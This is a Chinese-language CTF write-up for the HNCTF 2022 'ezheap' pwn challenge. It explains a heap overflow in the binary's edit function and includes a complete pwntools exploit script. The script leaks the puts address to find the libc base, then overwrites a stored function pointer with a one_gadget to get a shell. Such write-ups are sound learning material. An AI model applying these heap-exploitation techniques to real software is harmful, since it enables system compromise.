Index
- 前言
- Checksec & IDA
前言
手把手教学,覆盖一切途中会遇到的问题。
[HNCTF 2022 WEEK4]ezheap
Checksec & IDA
保护全开,但是四肢健全(四项功能 增删改查),因此是ezheap。
主要来观察函数add
和show
。
delete
不存在UAF漏洞。
但是edit
函数存在堆溢出。
这里就简要放一下关键代码:
v0 = heaplist[v3];
*(_QWORD *)(v0 + 16) = malloc(v4);
*(_QWORD *)(heaplist[v3] + 32LL) = &puts;
if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
add
函数会在用户申请的堆块之前申请一个大小为0x20的堆块,并会在用户申请的自定义大小的堆块的Chunk Header的Prev_Size位存放puts
函数的地址。
我们利用这一点可以进行泄露libc。
show
函数是我们完成getshell最重要的一个函数。
(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);
return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));
具体的意思是将Prev_Size的地址取出,作为函数调用,然后取出fd指针,作为参数。
也就是说,现在的情况下,是这样的:
puts(0x56047f62a040)
或者
puts(0x56047f62a090)
puts函数会将指向的堆块内的内容打印出来。我们只需要修改成存储了puts函数的Chunk Header的地址即可。
比如修改成
puts(0x56047f62a080)
这样就会打印出来我们的puts函数地址,接收后即可计算出基址。
addr = leak_addr(2, io)
print(hex(addr))
aio = libc_remastered('puts', addr)
base = aio[0]
def leak_addr(i, io_i):
if i == 1:
address_internal = u64(io_i.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
return address_internal
if 1 == 0:
address_internal = u32(io_i.recv(4))
return address_internal
if i == 2:
address_internal = u64(io_i.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return address_internal
def libc_remastered(func, addr_i):
libc_i = LibcSearcher(func, addr_i)
libc_base_i = addr_i - libc_i.dump(func)
sys_i = libc_base_i + libc_i.dump('system')
sh_i = libc_base_i + libc_i.dump('str_bin_sh')
return libc_base_i, sys_i, sh_i
然后就是修改puts函数为one_gadget。
这个是最简便的做法,实际上也很简单。
from PwnModules import *
io = process('./ezheap')
# io = remote('node2.anna.nssctf.cn','28886')
elf = ELF('./ezheap')
context(arch='amd64', os='linux', log_level='debug')
def debug():
gdb.attach(io)
pause()
def choice(idx):
io.sendlineafter(b'Choice: \n', str(idx))
def add(idx, sz, nm, content):
choice(1)
io.sendlineafter(b'idx:\n', str(idx))
io.sendlineafter(b'Size:\n', str(sz))
io.sendlineafter(b'Name: \n', nm)
io.sendlineafter(b'Content:\n', content)
def edit(idx, sz, data):
choice(4)
io.sendlineafter(b'idx:\n', str(idx))
io.sendlineafter(b'Size:\n', str(sz))
io.send(data)
def free(idx):
choice(2)
io.sendlineafter(b'idx:\n', str(idx))
def show(idx):
choice(3)
io.sendlineafter(b'idx:\n', str(idx))
add(0, 0x10, b'Leak', b'AAAA')
add(1, 0x10, b'Leak', b'AAAA')
Payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)
edit(0, 0x31, Payload)
# 原理是通过修改puts函数的参数,原本是打印某个堆块的内容,更改为我们创建的堆块地址的Header,即可打印出我们的puts地址。
show(1)
#debug()
addr = leak_addr(2, io)
print(hex(addr))
aio = libc_remastered('puts', addr)
base = aio[0]
one_gadget = 0x45226 + base
Payload = p64(0) * 3 + p64(0x31) + p64(0) * 4 + p64(one_gadget)
edit(0, 0x50, Payload)
debug()
show(1)
io.interactive()